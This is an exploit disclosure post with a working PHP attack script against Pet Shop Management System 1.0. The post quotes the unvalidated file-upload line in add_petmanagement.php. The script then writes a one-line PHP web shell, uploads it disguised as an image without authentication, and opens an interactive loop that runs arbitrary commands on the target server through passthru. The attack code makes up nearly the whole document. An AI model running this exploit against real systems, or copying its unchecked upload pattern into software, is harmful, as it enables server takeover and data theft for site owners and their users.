Pet Shop Management System 1.0 Shell Upload

# Title: Pet Shop Management System 1.0 – Remote Code Execution (RCE) (Unauthenticated)
# Date: 28.09.2021
# Author: Mr.Gedik
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14962/petshop-management-system-using-phppdo-oop-full-source-code-complete.html
# Version: 1.0
# https://asciinema.org/a/mjRFsUvshjGIcTsped1PAH8CB

Vulnerable code controllers/add_petmanagement.php
Line 21 – move_uploaded_file($_FILES[“images”][“tmp_name”],
$_SERVER[‘DOCUMENT_ROOT’].”/Petshop_Management_System/uploads/” .
addslashes($_FILES[“images”][“name”]));

Exploit
#############

<?php
/*
@author:mrgedik
*/
function anim($msg, $time)
{
$msg = str_split($msg);
foreach ($msg as $ms) {
echo $ms;
usleep($time);
}
}

anim(“__ __ _____ _ _ _
| / | / ____| | (_) |
| / |_ __| | __ ___ __| |_| | __
| |/| | ‘__| | |_ |/ _ / _` | | |/ /
| | | | |_ | |__| | __/ (_| | | <
|_| |_|_(_) _____|___|__,_|_|_|_
“, 900);

echo PHP_EOL;
while(1)
{
echo anim(“Target (http://example.com/path/): “, 800);
$target = trim(fgets(STDIN));
echo PHP_EOL;
if (filter_var($target, FILTER_VALIDATE_URL) === FALSE) {
echo “Not a valid URL”.PHP_EOL;
}else {
break;
}
}
@unlink(“exp.php”);
$fw = fopen(“exp.php”,”a+”);
fwrite($fw,'<?php $_POST[m]($_POST[g]); ?>’);
fclose($fw);

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_URL, $target.”/controllers/add_petmanagement.php”);
$fields = [
‘images’ => new CurlFile(“exp.php”, ‘image/png’, ‘exp.php’)
];
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);

$response = curl_exec($ch);
@unlink(“exp.php”);

if(strstr($response,”success”))
{
while(1)
{
echo anim(“[email protected]: “, 800);
$command = trim(fgets(STDIN));
if($command == trim(“exit”))
{
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$target.”/uploads/exp.php”);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,”m=passthru&g=”.trim($command));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
echo curl_exec($ch);
curl_close ($ch);
}
}else
{
echo anim(“Fail”, 800);
}

?>